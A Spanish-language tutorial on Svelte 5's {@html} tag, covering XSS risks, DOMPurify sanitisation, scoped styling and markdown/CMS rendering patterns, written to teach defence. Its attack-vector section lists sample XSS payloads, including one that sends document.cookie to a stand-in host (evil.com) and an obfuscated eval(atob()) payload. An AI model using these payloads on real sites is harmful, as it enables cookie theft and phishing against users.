Inyección de HTML sin procesar

Toda aplicación web eventualmente se encuentra con un escenario donde el contenido HTML con formato previo debe renderizarse directamente en el DOM. Ya sea que estés mostrando texto enriquecido de un CMS, renderizando conversiones de markdown a HTML, o integrando contenido de terceros, el tag @html de Svelte 5 proporciona la vía de escape del comportamiento predeterminado de escapado de texto del framework.

Sin embargo, este poder conlleva una responsabilidad significativa. El tag @html omite la protección integrada de Svelte contra ataques de Cross-Site Scripting (XSS), lo que lo convierte en una de las características más sensibles en materia de seguridad de tu conjunto de herramientas. Entender cuándo usarlo, cómo protegerse contra vulnerabilidades y cómo aplicar estilos correctamente al contenido inyectado dinámicamente distinguirá las aplicaciones robustas de aquellas que están esperando ser explotadas.

Este tutorial ofrece un análisis profundo de @html, cubriendo todo desde la sintaxis básica hasta patrones de seguridad de nivel empresarial, estrategias de estilos y escenarios de integración en el mundo real.

El problema

Escapado vs. renderizado

Por defecto, Svelte trata todo el contenido interpolado como texto, escapando automáticamente las entidades HTML para prevenir ataques de inyección:

<script>
	let content = '<strong>Bold text</strong>'
</script>

<p>{content}</p>
<!-- Renders: <strong>Bold text</strong> (as visible text, not bold) -->

Este comportamiento es intencional y protector—si content proviene de la entrada del usuario y contiene <script>alert('hacked')</script>, el código malicioso se mostraría como texto inofensivo en lugar de ejecutarse.

¿Pero qué pasa con los casos de uso legítimos donde realmente necesitas que el HTML se renderice como HTML? Aquí es donde @html entra en escena.

Sintaxis básica y comportamiento

El tag @html acepta cualquier expresión que evalúe a una cadena y la inyecta directamente en el DOM:

<script>
	let content = '<strong>Bold text</strong>'
</script>

<article>
	{@html content}
</article>
<!-- Renders: Bold text (actually bold) -->

La expresión dentro de @html debe producir HTML válido e independiente. Svelte no analiza ni valida el HTML—simplemente lo inserta en el DOM usando innerHTML internamente.

¿Qué constituye HTML válido?

El HTML debe estar completo y bien formado cuando se considera de forma aislada. Esto significa que no puedes dividir etiquetas entre múltiples expresiones @html:

<!-- AVOID: Split tags don't work -->
{@html '<div>'}
Some content here
{@html '</div>'}

<!-- PREFERRED: Complete HTML structure -->
{@html '<div>Some content here</div>'}

La razón de esta limitación radica en cómo los navegadores analizan el HTML. Cuando Svelte inyecta <div> como una cadena independiente, el analizador HTML del navegador intenta crear un elemento completo, frecuentemente cerrándolo de forma automática de inmediato. El subsiguiente </div> se convierte entonces en una etiqueta de cierre huérfana.

Contenido HTML reactivo

La expresión @html es completamente reactiva. Cuando el valor de la expresión cambia, Svelte reemplaza todo el contenido inyectado:

<script>
	let theme = $state<'light' | 'dark'>('light')

	let styledContent = $derived(
		theme === 'light'
			? '<p style="color: #333;">Light mode content</p>'
			: '<p style="color: #ccc;">Dark mode content</p>'
	)
</script>

<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>

<div>
	{@html styledContent}
</div>

Cada vez que theme cambia, todo el contenido HTML es reemplazado. Esto es importante de entender porque cualquier estado del DOM (como la posición de desplazamiento dentro del contenido inyectado, o el estado de foco) se perderá en las actualizaciones.

Consideración crítica de seguridad

Ataques XSS

Nunca uses @html con contenido no confiable o proporcionado por el usuario sin sanitización.

Los ataques de Cross-Site Scripting (XSS) ocurren cuando scripts maliciosos son inyectados en páginas web vistas por otros usuarios. El tag @html es un vector directo para tales ataques si se usa incorrectamente:

<script>
	// DANGEROUS: User-provided content
	let userComment = '<img src="x" onerror="alert(\'XSS Attack!\')">'
</script>

<!-- This executes the malicious script! -->
{@html userComment}

Al renderizarse, el navegador intenta cargar la imagen inexistente, falla y ejecuta el manejador onerror—ejecutando JavaScript arbitrario en el contexto de tu aplicación.

Vectores de ataque en el mundo real

Comprender los payloads XSS más comunes te ayuda a entender por qué la sanitización no es negociable:

// Event handler injection
'<svg onload="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">'

// Script tag injection
'<script>document.location="https://evil.com/phish"</script>'

// Data URI exploitation
'<a href="javascript:alert(document.cookie)">Click me</a>'

// CSS-based attacks
'<style>body{background:url("https://evil.com/track")}</style>'

// Nested encoding attacks
'<img src=x onerror="eval(atob(\'YWxlcnQoJ1hTUycpOw==\'))">'

Estos payloads pueden robar cookies, redirigir a los usuarios a sitios de phishing, rastrear el comportamiento del usuario o realizar acciones en nombre de usuarios autenticados.

La solución

Sanitización de HTML con DOMPurify

DOMPurify es la biblioteca estándar de la industria para sanitizar contenido HTML. Elimina elementos y atributos peligrosos preservando el HTML estructural y seguro:

npm install dompurify
npm install --save-dev @types/dompurify

Patrón básico de sanitización

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		rawHtml: string
	}

	let { rawHtml }: Props = $props()

	let safeHtml = $derived(DOMPurify.sanitize(rawHtml))
</script>

<div class="content">
	{@html safeHtml}
</div>

DOMPurify elimina el contenido peligroso preservando los elementos seguros:

import DOMPurify from 'dompurify'

// Malicious input
DOMPurify.sanitize('<img src=x onerror=alert(1)//>')
// Returns: '<img src="x">'

// Script injection
DOMPurify.sanitize('<script>alert("XSS")</script><p>Safe content</p>')
// Returns: '<p>Safe content</p>'

// SVG-based attacks
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>')
// Returns: '<svg><g></g></svg>'

// Data URI in iframes
DOMPurify.sanitize('<p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p>')
// Returns: '<p>abc</p>'

Creación de un componente SafeHtml reutilizable

Para garantizar una seguridad consistente en toda tu aplicación, crea un componente dedicado:

<!-- SafeHtml.svelte -->
<script lang="ts">
	import DOMPurify from 'dompurify'
	import type { Config } from 'dompurify'

	interface Props {
		html: string
		config?: Config
		class?: string
	}

	let { html, config = {}, class: className = '' }: Props = $props()

	// Default secure configuration
	const defaultConfig: Config = {
		ALLOWED_TAGS: [
			'p',
			'br',
			'strong',
			'em',
			'u',
			's',
			'a',
			'ul',
			'ol',
			'li',
			'h1',
			'h2',
			'h3',
			'h4',
			'h5',
			'h6',
			'blockquote',
			'code',
			'pre',
			'img',
			'figure',
			'figcaption',
			'table',
			'thead',
			'tbody',
			'tr',
			'th',
			'td',
			'div',
			'span',
			'article',
			'section',
			'header',
			'footer'
		],
		ALLOWED_ATTR: [
			'href',
			'src',
			'alt',
			'title',
			'class',
			'id',
			'target',
			'rel',
			'width',
			'height',
			'loading'
		],
		ALLOW_DATA_ATTR: false,
		ADD_ATTR: ['target'],
		FORBID_TAGS: ['style', 'script', 'iframe', 'form', 'input', 'button'],
		FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover']
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, { ...defaultConfig, ...config }))
</script>

<div class={className}>
	{@html safeHtml}
</div>

Uso en toda tu aplicación:

<script>
	import SafeHtml from '$lib/components/SafeHtml.svelte'

	let cmsContent = $state('')

	// Fetch from CMS...
</script>

<SafeHtml html={cmsContent} class="prose" />

Configuración avanzada de DOMPurify

Para casos de uso específicos, DOMPurify ofrece un control detallado:

<script lang="ts">
	import DOMPurify from 'dompurify'

	// Allow only specific link protocols
	const sanitizeWithProtocols = (html: string) => {
		return DOMPurify.sanitize(html, {
			ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
		})
	}

	// Preserve specific custom elements (Web Components)
	const sanitizeWithCustomElements = (html: string) => {
		return DOMPurify.sanitize(html, {
			CUSTOM_ELEMENT_HANDLING: {
				tagNameCheck: /^my-/, // Allow elements starting with 'my-'
				attributeNameCheck: /^data-/, // Allow data attributes
				allowCustomizedBuiltInElements: false
			}
		})
	}

	// Strict sanitization for comments/user content
	const sanitizeUserContent = (html: string) => {
		return DOMPurify.sanitize(html, {
			ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
			ALLOWED_ATTR: ['href'],
			ALLOW_DATA_ATTR: false
		})
	}
</script>

Sanitización del lado del servidor con isomorphic-dompurify

Para aplicaciones SvelteKit con SSR, usa isomorphic-dompurify, que funciona tanto en entornos de navegador como en Node.js:

npm install isomorphic-dompurify

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	let safeHtml = $derived(DOMPurify.sanitize(html))
</script>

{@html safeHtml}

Aplicar estilos al contenido HTML inyectado

El contenido renderizado mediante @html existe fuera del alcance de conciencia del componente de Svelte. Esto significa que los estilos con ámbito de Svelte no se aplicarán a los elementos inyectados dinámicamente.

El problema del ámbito de estilos

<script>
	let content = '<p class="highlight">This paragraph</p>'
</script>

<article>
	{@html content}
</article>

<style>
	/* AVOID: This won't work - Svelte marks it as unused */
	article p {
		color: blue;
	}

	.highlight {
		background: yellow;
	}
</style>

El compilador de Svelte analiza tu plantilla en tiempo de compilación y agrega identificadores de clase únicos a los elementos que encuentra. Dado que los elementos <p> y .highlight no existen en la plantilla (se inyectan en tiempo de ejecución), Svelte considera que estos estilos no se usan y puede eliminarlos.

1. El Modificador `:global`

Usa :global para escapar el alcance de Svelte, pero acótalo a un contenedor para evitar que se filtre:

<script>
	let content = '<p class="highlight">Styled paragraph</p><a href="#">Link</a>'
</script>

<article class="html-content">
	{@html content}
</article>

<style>
	.html-content {
		/* Container styles remain scoped */
		padding: 1rem;
		border: 1px solid #ddd;
	}

	/* All descendants of .html-content are globally styled */
	.html-content :global {
		p {
			color: #333;
			line-height: 1.6;
			margin-bottom: 1rem;
		}

		a {
			color: hotpink;
			text-decoration: underline;
		}

		.highlight {
			background: yellow;
			padding: 0.25rem;
		}

		img {
			max-width: 100%;
			height: auto;
		}

		pre {
			background: #f4f4f4;
			padding: 1rem;
			overflow-x: auto;
		}

		code {
			font-family: 'Fira Code', monospace;
			font-size: 0.9em;
		}

		blockquote {
			border-left: 4px solid #ddd;
			padding-left: 1rem;
			margin-left: 0;
			font-style: italic;
		}
	}
</style>

2. Propiedades Personalizadas de CSS para Tematización

Aprovecha las propiedades personalizadas de CSS para que el contenido inyectado sea tematizable:

<script>
	let content = '<p>Themed paragraph</p><a href="#">Themed link</a>'
	let theme = $state<'light' | 'dark'>('light')
</script>

<article class="html-content" class:dark={theme === 'dark'}>
	{@html content}
</article>

<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>

<style>
	.html-content {
		--text-color: #333;
		--link-color: #0066cc;
		--bg-color: #fff;
		--code-bg: #f4f4f4;

		background: var(--bg-color);
		padding: 1.5rem;
		transition: all 0.3s ease;
	}

	.html-content.dark {
		--text-color: #e0e0e0;
		--link-color: #66b3ff;
		--bg-color: #1a1a1a;
		--code-bg: #2d2d2d;
	}

	.html-content :global {
		p,
		li,
		td {
			color: var(--text-color);
		}

		a {
			color: var(--link-color);
		}

		pre,
		code {
			background: var(--code-bg);
		}
	}
</style>

3. Utility-First con Tailwind CSS

Si usas Tailwind, el plugin @tailwindcss/typography ofrece un excelente estilado de prosa:

npm install @tailwindcss/typography

<script>
	let content = '<h2>Article Title</h2><p>Rich formatted content...</p>'
</script>

<article class="prose prose-lg dark:prose-invert max-w-none">
	{@html content}
</article>

Las clases prose estilizan automáticamente todos los elementos HTML comunes con valores tipográficos predeterminados sensatos.

Patrones de Integración en el Mundo Real

Elegir la Herramienta Correcta: mdsvex vs Parseo en Tiempo de Ejecución

Antes de profundizar en los patrones de renderizado de markdown, es fundamental entender cuándo es apropiado usar @html con parseo en tiempo de ejecución versus cuándo deberías usar mdsvex—un preprocesador de markdown en tiempo de compilación para Svelte.

Aspecto	mdsvex	Parsers en Tiempo de Ejecución (marked, etc.)
Cuándo se ejecuta	Tiempo de compilación (preprocesador)	Tiempo de ejecución (navegador/servidor)
Entrada	Archivos `.md` / `.svx` en tu proyecto	Cadenas de markdown de cualquier fuente
Salida	Componentes Svelte compilados	Cadenas HTML que requieren `@html`
Caso de uso	Contenido estático (posts de blog, docs)	Contenido dinámico (CMS, entrada de usuario, APIs)
Componentes Svelte en markdown	✅ Totalmente soportado	❌ No es posible
Requiere sanitización	No (fuente de confianza)	Sí (siempre sanitiza)

Usa mdsvex cuando:

Estés construyendo un blog o sitio de documentación con SvelteKit
Los archivos markdown existan en tu proyecto en tiempo de compilación
Quieras incrustar componentes Svelte dentro de markdown
El contenido sea creado por desarrolladores de confianza

<!-- src/routes/blog/my-post.md - Processed by mdsvex at BUILD time -->
--- title: My Blog Post --- # Hello World

<CustomAlert type="info"> This Svelte component works inside markdown! </CustomAlert>

No `@html` needed—this becomes a real Svelte component.

Usa parsers en tiempo de ejecución (marked, unified, etc.) con @html cuando:

El contenido proviene de una API de CMS en tiempo de ejecución
Los usuarios envían markdown en formularios o comentarios
El markdown está almacenado en una base de datos
El contenido no existe hasta que la aplicación se ejecuta

<script>
	// Content fetched at runtime - must use {@html}
	let { data } = $props()
	let html = $derived(marked.parse(data.cmsContent))
</script>

{@html DOMPurify.sanitize(html)}

Patrones para Inyección Dinámica de HTML

Los patrones a continuación se enfocan en escenarios en tiempo de ejecución donde @html es necesario. Para contenido estático de markdown en SvelteKit, configura mdsvex en tu svelte.config.js en su lugar.

1. Renderizado de Markdown

Cuando el contenido markdown llega en tiempo de ejecución (desde APIs, bases de datos o entrada de usuario), usa un parser en tiempo de ejecución como marked:

npm install marked dompurify
npm install --save-dev @types/dompurify

<!-- MarkdownRenderer.svelte -->
<script lang="ts">
	import { marked } from 'marked'
	import DOMPurify from 'dompurify'

	interface Props {
		source: string
		class?: string
	}

	let { source, class: className = '' }: Props = $props()

	// Configure marked for security
	marked.setOptions({
		gfm: true, // GitHub Flavored Markdown
		breaks: true // Convert \n to <br>
	})

	let html = $derived.by(() => {
		const rawHtml = marked.parse(source) as string
		return DOMPurify.sanitize(rawHtml, {
			USE_PROFILES: { html: true }
		})
	})
</script>

<div class="markdown-content {className}">
	{@html html}
</div>

<style>
	.markdown-content :global {
		h1,
		h2,
		h3,
		h4,
		h5,
		h6 {
			margin-top: 1.5em;
			margin-bottom: 0.5em;
			font-weight: 600;
		}

		h1 {
			font-size: 2rem;
		}
		h2 {
			font-size: 1.5rem;
		}
		h3 {
			font-size: 1.25rem;
		}

		p {
			margin-bottom: 1rem;
			line-height: 1.7;
		}

		ul,
		ol {
			margin-bottom: 1rem;
			padding-left: 1.5rem;
		}

		li {
			margin-bottom: 0.25rem;
		}

		code {
			background: #f0f0f0;
			padding: 0.125rem 0.25rem;
			border-radius: 0.25rem;
			font-size: 0.875em;
		}

		pre {
			background: #1e1e1e;
			color: #d4d4d4;
			padding: 1rem;
			border-radius: 0.5rem;
			overflow-x: auto;
			margin-bottom: 1rem;
		}

		pre code {
			background: transparent;
			padding: 0;
			color: inherit;
		}

		blockquote {
			border-left: 4px solid #3b82f6;
			padding-left: 1rem;
			margin: 1rem 0;
			color: #666;
			font-style: italic;
		}

		a {
			color: #3b82f6;
			text-decoration: underline;
		}

		a:hover {
			color: #2563eb;
		}

		img {
			max-width: 100%;
			height: auto;
			border-radius: 0.5rem;
		}

		table {
			width: 100%;
			border-collapse: collapse;
			margin-bottom: 1rem;
		}

		th,
		td {
			border: 1px solid #ddd;
			padding: 0.5rem;
			text-align: left;
		}

		th {
			background: #f5f5f5;
			font-weight: 600;
		}

		hr {
			border: none;
			border-top: 1px solid #ddd;
			margin: 2rem 0;
		}
	}
</style>

Uso:

<script>
	import MarkdownRenderer from '$lib/components/MarkdownRenderer.svelte'

	let markdown = `
# Welcome to My Blog

This is a **bold** statement with some *italic* text.

## Code Example

\`\`\`javascript
const greeting = 'Hello, World!';
console.log(greeting);
\`\`\`

> A wise quote goes here.

- List item 1
- List item 2
- List item 3
  `
</script>

<MarkdownRenderer source={markdown} class="prose-lg" />

2. Integración de Contenido de CMS

Al obtener contenido HTML de un CMS headless:

<!-- CmsContent.svelte -->
<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import { onMount } from 'svelte'

	interface Props {
		content: string
		allowIframes?: boolean
		allowEmbeds?: boolean
	}

	let { content, allowIframes = false, allowEmbeds = false }: Props = $props()

	// Build configuration based on props
	let config = $derived.by(() => {
		const baseConfig = {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'h4',
				'h5',
				'h6',
				'blockquote',
				'code',
				'pre',
				'img',
				'figure',
				'figcaption',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td',
				'div',
				'span',
				'article',
				'section',
				'aside'
			],
			ALLOWED_ATTR: [
				'href',
				'src',
				'alt',
				'title',
				'class',
				'id',
				'target',
				'rel',
				'width',
				'height',
				'loading',
				'srcset',
				'sizes'
			]
		}

		if (allowIframes) {
			baseConfig.ALLOWED_TAGS.push('iframe')
			baseConfig.ALLOWED_ATTR.push('frameborder', 'allowfullscreen', 'allow')
		}

		if (allowEmbeds) {
			baseConfig.ALLOWED_TAGS.push('video', 'audio', 'source', 'embed')
			baseConfig.ALLOWED_ATTR.push('controls', 'autoplay', 'loop', 'muted', 'type')
		}

		return baseConfig
	})

	let safeContent = $derived(DOMPurify.sanitize(content, config))

	// Post-process links to add security attributes
	let container: HTMLElement | null = $state(null)

	$effect(() => {
		if (container) {
			// Add rel="noopener noreferrer" to external links
			const links = container.querySelectorAll('a[href^="http"]')
			links.forEach((link) => {
				link.setAttribute('rel', 'noopener noreferrer')
				link.setAttribute('target', '_blank')
			})

			// Add loading="lazy" to images
			const images = container.querySelectorAll('img')
			images.forEach((img) => {
				img.setAttribute('loading', 'lazy')
			})
		}
	})
</script>

<div class="cms-content" bind:this={container}>
	{@html safeContent}
</div>

<style>
	.cms-content :global {
		/* Typography */
		font-family:
			system-ui,
			-apple-system,
			sans-serif;
		line-height: 1.7;
		color: #333;

		/* Headings */
		h1,
		h2,
		h3 {
			margin-top: 2rem;
			margin-bottom: 1rem;
			line-height: 1.3;
		}

		/* Paragraphs */
		p {
			margin-bottom: 1.25rem;
		}

		/* Links */
		a {
			color: #0066cc;
			text-decoration: none;
			border-bottom: 1px solid transparent;
			transition: border-color 0.2s;
		}

		a:hover {
			border-bottom-color: currentColor;
		}

		/* Images */
		img {
			max-width: 100%;
			height: auto;
			border-radius: 8px;
		}

		figure {
			margin: 2rem 0;
		}

		figcaption {
			text-align: center;
			font-size: 0.875rem;
			color: #666;
			margin-top: 0.5rem;
		}

		/* Iframes (videos, embeds) */
		iframe {
			max-width: 100%;
			border-radius: 8px;
		}
	}
</style>

3. Resaltado de Sintaxis para Bloques de Código

Integrando con bibliotecas de resaltado de sintaxis:

npm install highlight.js

<!-- CodeBlock.svelte -->
<script lang="ts">
	import hljs from 'highlight.js'
	import DOMPurify from 'dompurify'

	interface Props {
		code: string
		language?: string
	}

	let { code, language = 'plaintext' }: Props = $props()

	let highlightedCode = $derived.by(() => {
		try {
			const result =
				language && hljs.getLanguage(language)
					? hljs.highlight(code, { language })
					: hljs.highlightAuto(code)

			// highlight.js output is safe, but sanitize anyway for defense in depth
			return DOMPurify.sanitize(result.value, {
				ALLOWED_TAGS: ['span'],
				ALLOWED_ATTR: ['class']
			})
		} catch {
			// Fallback to escaped plain text
			return DOMPurify.sanitize(code)
		}
	})
</script>

<pre class="code-block"><code class="hljs language-{language}">{@html highlightedCode}</code></pre>

<style>
	.code-block {
		background: #1e1e1e;
		border-radius: 8px;
		padding: 1rem;
		overflow-x: auto;
		font-family: 'Fira Code', 'Consolas', monospace;
		font-size: 0.875rem;
		line-height: 1.5;
	}

	.code-block :global {
		/* highlight.js theme tokens */
		.hljs-keyword {
			color: #569cd6;
		}
		.hljs-string {
			color: #ce9178;
		}
		.hljs-number {
			color: #b5cea8;
		}
		.hljs-function {
			color: #dcdcaa;
		}
		.hljs-comment {
			color: #6a9955;
		}
		.hljs-variable {
			color: #9cdcfe;
		}
		.hljs-built_in {
			color: #4ec9b0;
		}
	}
</style>

4. Salida de Editores de Texto Enriquecido

Manejando contenido de editores WYSIWYG como TipTap, Quill o CKEditor:

<!-- RichTextDisplay.svelte -->
<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
		editorType?: 'tiptap' | 'quill' | 'ckeditor'
	}

	let { html, editorType = 'tiptap' }: Props = $props()

	// Editor-specific configurations
	const editorConfigs = {
		tiptap: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'blockquote',
				'code',
				'pre',
				'hr',
				'img',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'colspan', 'rowspan']
		},
		quill: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'blockquote',
				'pre',
				'img',
				'span'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style'],
			ALLOW_DATA_ATTR: true
		},
		ckeditor: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'h4',
				'blockquote',
				'pre',
				'hr',
				'img',
				'figure',
				'figcaption',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td',
				'div',
				'span'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style', 'width', 'height']
		}
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, editorConfigs[editorType]))
</script>

<div class="rich-text-content editor-{editorType}">
	{@html safeHtml}
</div>

Problemas Comunes y Soluciones

1. Los Estilos No Se Aplican

Problema: Has escrito CSS para el contenido inyectado, pero nada tiene estilo.

Causa: Los estilos con alcance de Svelte no alcanzan los elementos inyectados dinámicamente.

Solución: Usa el modificador :global acotado a un contenedor:

<style>
	/* Scope global styles to prevent leakage */
	.my-container :global {
		p {
			color: blue;
		}
		a {
			color: red;
		}
	}
</style>

2. Advertencias de Vulnerabilidad XSS en Auditorías de Seguridad

Problema: Los escáneres de seguridad marcan el uso de @html como una vulnerabilidad.

Solución: Siempre sanitiza y documenta tu enfoque:

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'

	/**
	 * @security This component sanitizes all HTML input using DOMPurify
	 * with a strict allowlist configuration. See security documentation
	 * for approved usage patterns.
	 */
	let safeHtml = $derived(DOMPurify.sanitize(html, STRICT_CONFIG))
</script>

3. Los Manejadores de Eventos No Funcionan en Elementos Inyectados

Problema: Quieres agregar manejadores de clic a los enlaces en el HTML inyectado.

Causa: Los manejadores de eventos de Svelte solo funcionan en elementos de la plantilla, no en el contenido inyectado.

Solución: Usa delegación de eventos:

<script lang="ts">
	import DOMPurify from 'dompurify'

	let { html }: { html: string } = $props()

	function handleClick(event: MouseEvent) {
		const target = event.target as HTMLElement

		// Check if clicked element is a link
		if (target.tagName === 'A') {
			event.preventDefault()
			const href = target.getAttribute('href')
			console.log('Link clicked:', href)
			// Handle navigation, analytics, etc.
		}
	}
</script>

<!-- svelte-ignore a11y_click_events_have_key_events -->
<!-- svelte-ignore a11y_no_static_element_interactions -->
<div onclick={handleClick}>
	{@html DOMPurify.sanitize(html)}
</div>

4. Estado del DOM Perdido en Actualizaciones Reactivas

Problema: La posición de scroll, los inputs de formularios o el estado de foco del usuario desaparecen cuando el contenido se actualiza.

Causa: @html reemplaza todo el subárbol del DOM en cada actualización reactiva.

Solución: Usa bloques {#key} para controlar cuándo ocurre el reemplazo, o cachea el resultado sanitizado:

<script lang="ts">
	import DOMPurify from 'dompurify'

	let { html }: { html: string } = $props()

	// Only re-sanitize when html actually changes
	let lastHtml = ''
	let cachedSafeHtml = ''

	let safeHtml = $derived.by(() => {
		if (html !== lastHtml) {
			lastHtml = html
			cachedSafeHtml = DOMPurify.sanitize(html)
		}
		return cachedSafeHtml
	})
</script>

5. Desajustes de Hidratación en SSR

Problema: Advertencias en la consola sobre desajustes de hidratación al usar @html con SSR.

Causa: El servidor y el cliente producen resultados de sanitización diferentes, o el contenido cambia entre el renderizado del servidor y la hidratación del cliente.

Solución: Asegura una sanitización consistente usando isomorphic-dompurify y evitando APIs exclusivas del navegador durante el SSR:

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import { browser } from '$app/environment'

	let { html }: { html: string } = $props()

	// Use consistent configuration on both server and client
	const config = {
		ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
		ALLOWED_ATTR: ['href']
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, config))
</script>

{@html safeHtml}

6. Flash de Contenido al Cargar

Problema: El contenido sin estilo aparece brevemente antes de que se apliquen los estilos.

Solución: Usa un estado de carga o contención de CSS:

<script lang="ts">
	let { html }: { html: string } = $props()
	let loaded = $state(false)

	$effect(() => {
		// Give browser time to parse and apply styles
		requestAnimationFrame(() => {
			loaded = true
		})
	})
</script>

<div class="content" class:loaded>
	{@html html}
</div>

<style>
	.content {
		opacity: 0;
		transition: opacity 0.2s;
	}

	.content.loaded {
		opacity: 1;
	}
</style>

Integración con TypeScript

Patrones con seguridad de tipos para el uso de @html:

// types.ts

/**
 * Represents HTML content that has been sanitized and is safe to render.
 * This branded type helps prevent accidental rendering of unsanitized HTML.
 */
export type SanitizedHtml = string & { readonly __brand: 'SanitizedHtml' }

/**
 * Sanitization configuration presets
 */
export type SanitizationPreset = 'strict' | 'moderate' | 'permissive'

export interface SanitizationConfig {
	allowedTags: string[]
	allowedAttributes: string[]
	allowDataAttributes: boolean
	allowIframes: boolean
}

<!-- TypedSafeHtml.svelte -->
<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import type { SanitizedHtml, SanitizationPreset, SanitizationConfig } from './types'

	const presets: Record<SanitizationPreset, Partial<SanitizationConfig>> = {
		strict: {
			allowedTags: ['p', 'br', 'strong', 'em'],
			allowedAttributes: [],
			allowDataAttributes: false,
			allowIframes: false
		},
		moderate: {
			allowedTags: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
			allowedAttributes: ['href', 'class'],
			allowDataAttributes: false,
			allowIframes: false
		},
		permissive: {
			allowedTags: [
				'p',
				'br',
				'strong',
				'em',
				'a',
				'ul',
				'ol',
				'li',
				'code',
				'pre',
				'h1',
				'h2',
				'h3',
				'h4',
				'h5',
				'h6',
				'blockquote',
				'img',
				'figure',
				'figcaption'
			],
			allowedAttributes: ['href', 'src', 'alt', 'class', 'title'],
			allowDataAttributes: true,
			allowIframes: false
		}
	}

	interface Props {
		html: string
		preset?: SanitizationPreset
		customConfig?: Partial<SanitizationConfig>
	}

	let { html, preset = 'moderate', customConfig }: Props = $props()

	function sanitize(rawHtml: string): SanitizedHtml {
		const config = { ...presets[preset], ...customConfig }

		const result = DOMPurify.sanitize(rawHtml, {
			ALLOWED_TAGS: config.allowedTags,
			ALLOWED_ATTR: config.allowedAttributes,
			ALLOW_DATA_ATTR: config.allowDataAttributes
		})

		return result as SanitizedHtml
	}

	let safeHtml = $derived(sanitize(html))
</script>

{@html safeHtml}

Consideraciones de Rendimiento

Memoización de la Sanitización

Para contenido HTML extenso o actualizaciones frecuentes, memoiza la sanitización:

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	// Simple memoization
	const cache = new Map<string, string>()

	let safeHtml = $derived.by(() => {
		const cached = cache.get(html)
		if (cached) return cached

		const sanitized = DOMPurify.sanitize(html)

		// Limit cache size
		if (cache.size > 100) {
			const firstKey = cache.keys().next().value
			cache.delete(firstKey)
		}

		cache.set(html, sanitized)
		return sanitized
	})
</script>

Carga Perezosa de Contenido Pesado

Para páginas con muchos bloques @html:

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	let visible = $state(false)
	let container: HTMLElement

	$effect(() => {
		const observer = new IntersectionObserver(
			([entry]) => {
				if (entry.isIntersecting) {
					visible = true
					observer.disconnect()
				}
			},
			{ rootMargin: '100px' }
		)

		observer.observe(container)

		return () => observer.disconnect()
	})

	let safeHtml = $derived(visible ? DOMPurify.sanitize(html) : '')
</script>

<div bind:this={container} class="lazy-html">
	{#if visible}
		{@html safeHtml}
	{:else}
		<div class="placeholder">Loading...</div>
	{/if}
</div>

Resumen de Buenas Prácticas

Nunca confíes en la entrada del usuario: Siempre sanitiza el HTML de cualquier fuente externa, incluyendo tu propia base de datos si los usuarios pueden influir en el contenido.
Usa DOMPurify o equivalente: No escribas lógica de sanitización personalizada; usa bibliotecas probadas en batalla mantenidas por investigadores de seguridad.
Prefiere listas de permitidos sobre listas de bloqueados: Lista explícitamente lo que está permitido en lugar de intentar bloquear patrones conocidos como peligrosos.
Limita el alcance de tus estilos globales: Cuando uses :global, siempre limítalo a una clase contenedora para evitar la filtración de estilos.
Usa isomorphic-dompurify para SSR: Asegura un comportamiento consistente entre el renderizado del servidor y el cliente.
Documenta las decisiones de seguridad: Comenta tu código para explicar por qué ciertos tags/atributos están permitidos.
Considera la Política de Seguridad de Contenido: Agrega encabezados CSP a tu aplicación como una capa adicional de defensa.
Realiza auditorías regularmente: Revisa periódicamente el uso de @html en tu base de código y actualiza las reglas de sanitización.
Prueba con payloads maliciosos: Incluye casos de prueba de XSS en tu suite de pruebas para verificar que la sanitización funcione correctamente.
Crea componentes reutilizables: Centraliza el uso de @html en componentes dedicados con configuraciones de seguridad consistentes.

Conclusión

El tag @html es una herramienta poderosa que tiende un puente entre el enfoque seguro por defecto de Svelte y la realidad de que muchas aplicaciones deben renderizar contenido HTML dinámico. Al comprender sus implicaciones e implementar una sanitización adecuada, puedes aprovechar de forma segura esta funcionalidad para contenido de CMS, renderizado de markdown, resaltado de sintaxis y otros casos de uso legítimos.

